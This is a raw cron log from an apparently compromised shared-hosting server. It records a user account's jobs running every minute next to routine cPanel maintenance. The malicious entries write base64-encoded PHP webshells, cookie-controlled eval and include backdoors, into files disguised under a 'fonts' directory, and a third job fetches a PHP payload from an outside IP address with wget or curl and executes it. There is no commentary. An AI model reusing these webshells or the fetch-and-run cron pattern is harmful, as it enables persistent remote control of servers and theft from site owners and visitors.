Sep  6 14:29:01 ip-184-168-122-23 CROND[8452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:29:01 ip-184-168-122-23 CROND[8453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:29:01 ip-184-168-122-23 CROND[8454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:30:01 ip-184-168-122-23 CROND[8738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:30:01 ip-184-168-122-23 CROND[8745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:30:01 ip-184-168-122-23 CROND[8748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:31:01 ip-184-168-122-23 CROND[8926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:31:01 ip-184-168-122-23 CROND[8928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:31:01 ip-184-168-122-23 CROND[8927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:31:01 ip-184-168-122-23 CROND[8929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:31:01 ip-184-168-122-23 CROND[8930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:32:01 ip-184-168-122-23 CROND[9080]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:32:01 ip-184-168-122-23 CROND[9082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:32:01 ip-184-168-122-23 CROND[9084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:32:01 ip-184-168-122-23 CROND[9083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:32:01 ip-184-168-122-23 CROND[9086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:33:01 ip-184-168-122-23 CROND[9269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:33:01 ip-184-168-122-23 CROND[9271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:33:01 ip-184-168-122-23 CROND[9270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:33:01 ip-184-168-122-23 CROND[9273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:34:01 ip-184-168-122-23 CROND[9444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:34:01 ip-184-168-122-23 CROND[9445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:34:01 ip-184-168-122-23 CROND[9447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:34:01 ip-184-168-122-23 CROND[9448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:34:01 ip-184-168-122-23 CROND[9450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9742]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9746]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:35:01 ip-184-168-122-23 CROND[9749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:35:01 ip-184-168-122-23 CROND[9751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:36:01 ip-184-168-122-23 CROND[9931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:36:01 ip-184-168-122-23 CROND[9933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:36:01 ip-184-168-122-23 CROND[9935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:36:01 ip-184-168-122-23 CROND[9934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:36:01 ip-184-168-122-23 CROND[9936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:37:01 ip-184-168-122-23 CROND[10121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:37:01 ip-184-168-122-23 CROND[10122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:37:01 ip-184-168-122-23 CROND[10126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:37:01 ip-184-168-122-23 CROND[10123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:38:01 ip-184-168-122-23 CROND[10283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:38:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:38:01 ip-184-168-122-23 CROND[10288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:38:01 ip-184-168-122-23 CROND[10287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:38:01 ip-184-168-122-23 CROND[10285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:39:01 ip-184-168-122-23 CROND[10460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:39:01 ip-184-168-122-23 CROND[10463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:39:01 ip-184-168-122-23 CROND[10462]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 14:39:01 ip-184-168-122-23 CROND[10464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:39:01 ip-184-168-122-23 CROND[10465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:40:01 ip-184-168-122-23 CROND[10624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:40:01 ip-184-168-122-23 CROND[10627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
